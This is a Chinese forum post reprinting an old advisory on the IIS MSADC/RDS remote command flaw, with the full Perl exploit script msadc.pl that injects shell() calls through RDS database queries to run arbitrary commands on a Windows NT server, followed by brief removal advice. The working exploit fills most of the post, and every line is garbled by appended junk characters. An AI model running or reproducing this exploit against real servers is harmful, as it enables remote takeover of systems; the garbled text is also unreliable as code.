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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ^8-~@01.`_  
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涉及程序: L >Ez-  
Microsoft NT server "'}v0*[  
f0mH|tI`  
描述: +ptF-  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 ;+ C o!L  
^0-e,d 9h  
详细: sPE)m_u  
如果你没有时间读详细内容的话,就删除: emkMR{MY  
c:\Program Files\Common Files\System\Msadc\msadcs.dll bDZKQ&  
有关的安全问题就没有了。 D=82$$  
Rd vPsv} D  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 cdJ`Gk  
S1az3VJI\  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 cJHABdK-  
关于利用ODBC远程漏洞的描述,请参看: }*B qi7E>  
KXx@ {cv  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm PQ&Q71  
/_:T\`5uO  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 @O<@f8-  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp #lyM+.T  
K[#v(<)  
这里不再论述。 _8x'GK tU  
;vI*ThzdD  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: m[@%{  
+J o 3rX'`  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset Vyq#p9Q  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! -lP )  
w$b+R8.n)  
y= oVUsG  
#将下面这段保存为txt文件,然后: "perl -x 文件名" (N*<\6kr  
BS-:dyBw  
#!perl ! =\DC,-CB  
# s#+"5&!s  
# MSADC/RDS 'usage' (aka exploit) script _d\u!giy  
# C"U[ b%  
# by rain.forest.puppy rTP5-4  
# HeT6Dv  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me /jjW/ lr  
# beta test and find errors! Ere?d~8  
o8};e  
use Socket; use Getopt::Std; 1Es*=zg  
getopts("e:vd:h:XR", \%args); Y0Hq+7x  
C>Omng1>^  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 2xL!PR-  
:_o] F  
if (!defined $args{h} && !defined $args{R}) { _uO!N(k.  
print qq~ B8cBQv  
Usage: msadc.pl -h <host> { -d <delay> -X -v } )]c]el@y  
-h <host> = host you want to scan (ip or domain) >/!7i3Ow-  
-d <seconds> = delay between calls, default 1 second f%Z;05  
-X = dump Index Server path table, if available L@1,7@  
-v = verbose WA]%,6  
-e = external dictionary file for step 5 JVUZ}#O  
F_Z&-+,*3t  
Or a -R will resume a command session `N|U"s;  
nJtEUVMt  
~; exit;} 7x[LF ^o  
( Lok  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; \A'|XdQ  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} /-!&k  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} SE,o7_k'S  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); .0nn0)"  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} OYszW]UMg  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } XD $%  
d]O_E4X*  
if (!defined $args{R}){ $ret = &has_msadc; )K>Eniou  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 05l0B5'p  
c N02roQl  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ] ?DDCew  
. "cmd /c "; Q(~3pt  
$in=<STDIN>; chomp $in; @9}),hl`  
$command="cmd /c " . $in ; zdxT35h  
a,/M'^YyN  
if (defined $args{R}) {&load; exit;} w?]ZU-  
e-[>( n/[  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; HG{&U:>)  
&try_btcustmr; ~w Zl2I  
]dPVtk  
print "\nStep 2: Trying to make our own DSN..."; 0t#NMW  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ^%\)Xi  
F[>7z3I  
print "\nStep 3: Trying known DSNs..."; 'O.+6`&  
&known_dsn; :r1;}hIA9  
U}tl_5%)  
print "\nStep 4: Trying known .mdbs..."; x4CtSGG85f  
&known_mdb; BA~a?"HS  
T"L0Iy!k;  
if (defined $args{e}){ Ys"|</;dbj  
print "\nStep 5: Trying dictionary of DSN names..."; ,vY)n6  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } uL2"StW  
1*C:h g@  
print "Sorry Charley...maybe next time?\n"; 8q]J;T  
exit; Q0pC4WJ`  
?TvQ"Y}k  
############################################################################## cZNi~  
pwJ'3NbS  
sub sendraw { # ripped and modded from whisker ZWf-X  
sleep($delay); # it's a DoS on the server! At least on mine... q*~gWn>T  
my ($pstr)=@_; GY oZ$p"C  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || rPRrx-A  
die("Socket problems\n"); 38[)[{G)Hv  
if(connect(S,pack "SnA4x8",2,80,$target)){ cvZni#o2)  
select(S); $|=1; ?j1_ n,d  
print $pstr; my @in=<S>; K^"w]ii=  
select(STDOUT); close(S); I\}|Y+C$d/  
return @in; z=ML(1c=  
} else { die("Can't connect...\n"); }} OJv}kwV  
|BwRlE2CFO  
############################################################################## El~-M`Gf  
UH5w7M  
sub make_header { # make the HTTP request EoKC8/  
my $msadc=<<EOT z7-`Y9Ypd  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 k/df(cs  
User-Agent: ACTIVEDATA :=rA Yc3]  
Host: $ip FJO"|||Y'|  
Content-Length: $clen r8IX/ ,  
Connection: Keep-Alive oS~}TR:}  
C@*%AY  
ADCClientVersion:01.06 `*>V6B3  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 7SBM^r}  
?QGmoQ)  
--!ADM!ROX!YOUR!WORLD! %0vTA_W  
Content-Type: application/x-varg ;(K  
Content-Length: $reqlen )8[ym/m  
q\a[S*  
EOT  KR&s?  
; $msadc=~s/\n/\r\n/g; dSwm|kIa  
return $msadc;}  M{] e5+  
92!JKZe  
############################################################################## .2e1S{9  
#MUiL=  
sub make_req { # make the RDS request RXBb:f  
my ($switch, $p1, $p2)=@_; Iph3%RaE  
my $req=""; my $t1, $t2, $query, $dsn; tC2N >C[N  
;SfNKu  
if ($switch==1){ # this is the btcustmr.mdb query U);OR  
$query="Select * from Customers where City=" . make_shell(); 4py(R-8\  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 1 ojhh7<  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} bFSlf5*H  
L59bu/LfL  
elsif ($switch==2){ # this is general make table query ,!`SY)  
$query="create table AZZ (B int, C varchar(10))"; #e*X0;m  
$dsn="$p1";} Ejq=*UOP  
lj)f4zu  
elsif ($switch==3){ # this is general exploit table query mV<i JZh  
$query="select * from AZZ where C=" . make_shell(); J2r1=5HS  
$dsn="$p1";} Yrpxy.1=F5  
'V&2Xvl%  
elsif ($switch==4){ # attempt to hork file info from index server 4GVNw!V  
$query="select path from scope()"; T'8RkDI}-  
$dsn="Provider=MSIDXS;";} &ik$L!iX  
]pWP?Ws  
elsif ($switch==5){ # bad query &} ,*\Oj  
$query="select"; ?L=A2C\_-  
$dsn="$p1";} JH;DVPX9z  
_Q}z 6+_\  
$t1= make_unicode($query); ?{IvA:   
$t2= make_unicode($dsn); Z.(x|Q9  
$req = "\x02\x00\x03\x00"; C(Y6 t1  
$req.= "\x08\x00" . pack ("S1", length($t1)); /Q_\h+ `  
$req.= "\x00\x00" . $t1 ; N^N?!I  
$req.= "\x08\x00" . pack ("S1", length($t2)); a~"X.xT\R  
$req.= "\x00\x00" . $t2 ; 0G 1o3[F  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ~` hcgCi%  
return $req;} K),wAZI!7j  
?@(H. D6'v  
############################################################################## YTh4&wm  
\LXC269  
sub make_shell { # this makes the shell() statement DV" ri  
return "'|shell(\"$command\")|'";} yBiwYk6  
 Nf'9]I  
############################################################################## Q1[s{,  
?O ?~|nI  
sub make_unicode { # quick little function to convert to unicode bm.H0rHR4  
my ($in)=@_; my $out; 0wcWDE 9  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Q[KR,k  
return $out;} Shd,{Z)-Tg  
}YO}LQ-|  
############################################################################## w}b+vh^3Wy  
PEl]HI_H  
sub rdo_success { # checks for RDO return success (this is kludge) 7A-rF U$  
my (@in) = @_; my $base=content_start(@in); uSjMqfK  
if($in[$base]=~/multipart\/mixed/){ G#v7-&Yl6  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} d`/{0:F  
return 0;} 9@B+$~:}7  
2[hl^f^%,  
############################################################################## OpE+e4~IF  
(?[cDw/{J:  
sub make_dsn { # this makes a DSN for us '3->G/Pu  
my @drives=("c","d","e","f"); N~d]}J8}gx  
print "\nMaking DSN: "; P|U>(9;P,  
foreach $drive (@drives) { U?{j  
print "$drive: "; O=/Tx2i;  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . )Cl&"bX  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" Vba}RF[b  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); rl=_ "sd=  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; @~ L.m}GF  
return 0 if $2 eq "404"; # not found/doesn't exist Y."[k&P-  
if($2 eq "200") { i=T/}c)  
foreach $line (@results) { 9g"H9)EZ^  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ]Ox.6BKjDP  
} return 0;} NM Ajt>t  
zOw]P6Gk  
############################################################################## 8hg(6 XUG  
z wW9>Y  
sub verify_exists { Z}wAh|N-  
my ($page)=@_; VJaL$Wv)H  
my @results=sendraw("GET $page HTTP/1.0\n\n"); \zwb>^  
return $results[0];} L\[jafb_`  
~^*tIIOX  
############################################################################## th)jEK;Z  
{xX|5/z  
sub try_btcustmr { z-j\S7F  
my @drives=("c","d","e","f"); `39U I7  
my @dirs=("winnt","winnt35","winnt351","win","windows"); O.dNhd$  
x{}m)2[Y  
foreach $dir (@dirs) { o<4LL7$A!  
print "$dir -> "; # fun status so you can see progress .R,8<4  
foreach $drive (@drives) { OA0\b_  
print "$drive: "; # ditto DI7trR`  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; $;1~JOZh  
$reqlenlen=length( "$reqlen" ); 9[*kpMC  
$clen= 206 + $reqlenlen + $reqlen; \=<.0K A~  
6>Y}2fT}o3  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); iC]}M  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} v oxlo>:  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} #a&Vx&7L  
+!(hd  
############################################################################## |7-tUHMo[  
HNPr| (  
sub odbc_error { GFid riC  
my (@in)=@_; my $base; ES>3Cf  
my $base = content_start(@in); OjI*HC  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this C&T3vM  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ElAG~u?  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; e|LXH/H  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; DxBt83e  
return $in[$base+4].$in[$base+5].$in[$base+6];} &}uO ]0bR  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; pK`rm"6G  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . itU01  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} l O^h)hrR  
V4H+m,R  
############################################################################## @b zrJ 7$  
:FSkXe2yy0  
sub verbose { `dK\VK^  
my ($in)=@_; '9)@U+yfQ  
return if !$verbose; WA/\x  
print STDOUT "\n$in\n";} BhjXNf9[  
^:0?R/A  
############################################################################## `3-j%H2R  
dXj.e4,m  
sub save { wK_}`6R/  
my ($p1, $p2, $p3, $p4)=@_; CHz(wn  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; *Pl[a1=o  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ?r+tU  
close OUT;} 9HE)!Col  
SYL$ ?kl  
############################################################################## UnPSJ]VW  
"J9+~)e^!  
sub load { SXL6)pX  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; pV!(#45~W  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 8yo9$~u;  
@p=<IN>; close(IN); $ ]HIYYs  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); Du/s  
$target= inet_aton($ip) || die("inet_aton problems"); [D)A+  
print "Resuming to $ip ..."; d2Y5'A0X  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; a AuQw  
if($p[1]==1) { !ZVMx*1Cf  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; Y5 dt?a  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; }?JO[Q +  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); t^'1Ebg  
if (rdo_success(@results)){print "Success!\n";} Uu(W62  
else { print "failed\n"; verbose(odbc_error(@results));}} y^ :x2P  
elsif ($p[1]==3){ [{ pc1U-  
if(run_query("$p[3]")){ BK{8\/dg  
print "Success!\n";} else { print "failed\n"; }} ihnM`TpMJ  
elsif ($p[1]==4){ (_T&2%  
if(run_query($drvst . "$p[3]")){ u-Vnmig9  
print "Success!\n"; } else { print "failed\n"; }} r?Vob}'Pt]  
exit;} dM') < lF  
N%-nxbI\  
############################################################################## [Y*UCFhI0  
ubL Lhf  
sub create_table { .28*vkH%C=  
my ($in)=@_; QWoEo  
$reqlen=length( make_req(2,$in,"") ) - 28; 5~kf:U%~  
$reqlenlen=length( "$reqlen" ); 0kkiS 3T  
$clen= 206 + $reqlenlen + $reqlen; _D:/?=y;e  
my @results=sendraw(make_header() . make_req(2,$in,"")); 5v3B8 @CsA  
return 1 if rdo_success(@results); ?`r/_EKNv  
my $temp= odbc_error(@results); verbose($temp); $Z j.  
return 1 if $temp=~/Table 'AZZ' already exists/; EPI*~=Z.U  
return 0;} MS b{ve_  
=Yfs=+O  
############################################################################## K(p1+ GHC  
"FU|I1Xz  
sub known_dsn { E.}Zmr#H  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go $W09nz9?  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ~i \69q%  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 4MIVlg9  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); x83XJFPWL  
(ZnA#%  
foreach $dSn (@dsns) { 0nS6<:  
print "."; B}(YD;7vJ  
next if (!is_access("DSN=$dSn")); FD*y[A ?  
if(create_table("DSN=$dSn")){ =k_u5@.Z  
print "$dSn successful\n"; K!9=e7|P  
if(run_query("DSN=$dSn")){ [bp"U*!9P  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 1.!(#I3  
print "Something's borked. Use verbose next time\n";}}} print "\n";} k\lj<v<vD  
 v/.2Z(sZ  
############################################################################## S `[8TZ  
TwH(47|?Nt  
sub is_access { ,9rT|:N  
my ($in)=@_; 1/i|  
$reqlen=length( make_req(5,$in,"") ) - 28; K.%E=^~q  
$reqlenlen=length( "$reqlen" ); :J"e{|g',  
$clen= 206 + $reqlenlen + $reqlen; HCu1vjU(]  
my @results=sendraw(make_header() . make_req(5,$in,"")); UYPBKf]A9  
my $temp= odbc_error(@results); MMf6QxYf  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); z TK  
return 0;} <.<Nw6  
>GcFk&x  
############################################################################## x6,RW],FGR  
V7^?jck  
sub run_query { NE! Xt<A  
my ($in)=@_; +)Ty^;+[1  
$reqlen=length( make_req(3,$in,"") ) - 28; YT_kMy>  
$reqlenlen=length( "$reqlen" ); &F:7U!  
$clen= 206 + $reqlenlen + $reqlen; f`cz @  
my @results=sendraw(make_header() . make_req(3,$in,"")); g R6:J  
return 1 if rdo_success(@results); A T%0i  
my $temp= odbc_error(@results); verbose($temp); Nwc(<  
return 0;} ijTtyTC  
M *}$$Fe|  
############################################################################## =_XcG!"  
1#@'U90xf  
sub known_mdb {  }QI*Ns  
my @drives=("c","d","e","f","g"); `A'*x]l  
my @dirs=("winnt","winnt35","winnt351","win","windows"); X#o:-FKf  
my $dir, $drive, $mdb; &K4o8Qz  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; vhg4E80Kr  
8RK\B%UW  
# this is sparse, because I don't know of many QdRMp n}q  
my @sysmdbs=( "\\catroot\\icatalog.mdb", Bj2rA.M  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ?{[H+hzz0  
"\\system32\\certmdb.mdb", wO"Q{oi+  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% n`hSn41A  
H5 -I}z  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", & dS+!<3  
"\\cfusion\\cfapps\\forums\\forums_.mdb", k X-AC5]  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", k >MgrtJI  
"\\cfusion\\cfapps\\security\\realm_.mdb", H!A^ MI   
"\\cfusion\\cfapps\\security\\data\\realm.mdb", ^TjFR*S'E  
"\\cfusion\\database\\cfexamples.mdb", <omz9d1  
"\\cfusion\\database\\cfsnippets.mdb", ks{s Q@~  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", \kRBJ1)|f  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 6y0C  
"\\cfusion\\brighttiger\\database\\cleam.mdb", vi2xonq^  
"\\cfusion\\database\\smpolicy.mdb", YK-R|z6K  
"\\cfusion\\database\cypress.mdb", i^> RjR  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", *qqFIp^  
"\\website\\cgi-win\\dbsample.mdb", NubD2  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",  :DD4BY  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" crT[;w  
); #these are just qm '$R3g  
foreach $drive (@drives) { A#i-C+"}  
foreach $dir (@dirs){ 2H /a&uo@n  
foreach $mdb (@sysmdbs) { e p^0Cd/  
print "."; L`!sV-.  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ I@\{6hw  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; |&'*Z\*ya  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ sPw(+m*C   
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; jlB3BwG{w  
} else { print "Something's borked. Use verbose next time\n"; }}}}} eyM3W}[S$/  
&>/nYvuq-  
foreach $drive (@drives) { 3S9~rLrn?  
foreach $mdb (@mdbs) { T;%SB&  
print "."; <Du*Re6g  
if(create_table($drv . $drive . $dir . $mdb)){ VMHY.Rf  
print "\n" . $drive . $dir . $mdb . " successful\n"; 94R+S-|P  
if(run_query($drv . $drive . $dir . $mdb)){ ~)Z`Q  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; g %Am[fb  
} else { print "Something's borked. Use verbose next time\n"; }}}} M}vPWWcl  
} 4 A<c@g2  
N.<hZ\].=  
############################################################################## r~;N(CG  
Grqs*V &|g  
sub hork_idx { w"e2}iE7  
print "\nAttempting to dump Index Server tables...\n"; +!<`$+W  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; Jq!($PdA  
$reqlen=length( make_req(4,"","") ) - 28; `Ctj]t  
$reqlenlen=length( "$reqlen" ); HlO+^(eX  
$clen= 206 + $reqlenlen + $reqlen; p<jr&zVEc>  
my @results=sendraw2(make_header() . make_req(4,"","")); UOu&sg*o2B  
if (rdo_success(@results)){ OU+*@2")t  
my $max=@results; my $c; my %d; n5 i}J/Sa2  
for($c=19; $c<$max; $c++){ k8ck#%#}Wu  
$results[$c]=~s/\x00//g; 0 QpWt  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; Z/x1?{z  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; \Q$);:=q Q  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; gXQ)\MY  
$d{"$1$2"}="";} . FruI#99  
foreach $c (keys %d){ print "$c\n"; } o]Ki+ U  
} else {print "Index server doesn't seem to be installed.\n"; }} $X?V_K;9/  
@|@43}M]C-  
############################################################################## t|q=NK/  
}>w; +XU  
sub dsn_dict { fP|\1Y?CS  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 26**tB<  
while(<IN>){ BpCSf.zZ  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 5J;c;PF  
next if (!is_access("DSN=$dSn")); 'UyL%h;nJ  
if(create_table("DSN=$dSn")){ n*1UNQp@]O  
print "$dSn successful\n"; 5Zov< +kE  
if(run_query("DSN=$dSn")){ 1K`A.J:Uy  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { :o:??tqw  
print "Something's borked. Use verbose next time\n";}}} Ef!F;De)A  
print "\n"; close(IN);} ]'G7(Y\)f  
d !H)voX  
############################################################################## :NL NxK  
_e'mG'P(  
sub sendraw2 { # ripped and modded from whisker ^#o.WL%4/B  
sleep($delay); # it's a DoS on the server! At least on mine... u *< (B  
my ($pstr)=@_; ?Y9?x,x  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || D8ly8]H  
die("Socket problems\n"); .EdV36$n  
if(connect(S,pack "SnA4x8",2,80,$target)){ _=MWt_A '3  
print "Connected. Getting data"; hD*?\bBs0  
open(OUT,">raw.out"); my @in; D.!4i.)8}  
select(S); $|=1; print $pstr; $d"+Njd  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} bo2Od  
close(OUT); select(STDOUT); close(S); return @in; Ie~~LU  
} else { die("Can't connect...\n"); }} RBXoU'.  
!=we7vK}  
############################################################################## cMv3` $  
UQFuEI<1-  
sub content_start { # this will take in the server headers >W<5$.G  
my (@in)=@_; my $c; J 0 P  
for ($c=1;$c<500;$c++) { PG!vn@b6  
if($in[$c] =~/^\x0d\x0a/){ _X[c19q  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } iCS/~[  
else { return $c+1; }}} H]e 2d|  
return -1;} # it should never get here actually \a!<^|C&  
Jj " {r{  
############################################################################## ry0 =N^  
2}b bdXx  
sub funky { v4$,Vt:7  
my (@in)=@_; my $error=odbc_error(@in); .tNB07=7  
if($error=~/ADO could not find the specified provider/){ *"ShE=\p  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; +[ zo2lBx  
exit;} zCrcCr  
if($error=~/A Handler is required/){ s__g*%@B b  
print "\nServer has custom handler filters (they most likely are patched)\n"; 5IK@<#wE  
exit;} 2. _cEY34  
if($error=~/specified Handler has denied Access/){ V'.|IuN  
print "\nServer has custom handler filters (they most likely are patched)\n"; pB./L&h  
exit;}} i`qh|w/b_  
`2PT 8UM  
############################################################################## q4{tH  
Fn,|J[sC  
sub has_msadc { GLyh1qNX  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ]_?y[@ZP  
my $base=content_start(@results); >y[S?M  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); RHbwq]  
return 0;} w.f [)  
9YABr> ?  
######################## ;"Y6&YP<  
;[9Is\  
4lCm(#T{,  
解决方案: 5MJ'/Fy(  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll "puz-W'n  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 vuBA&j0C  
"Ycd$`{Vgt  
拿出来充数 哈哈
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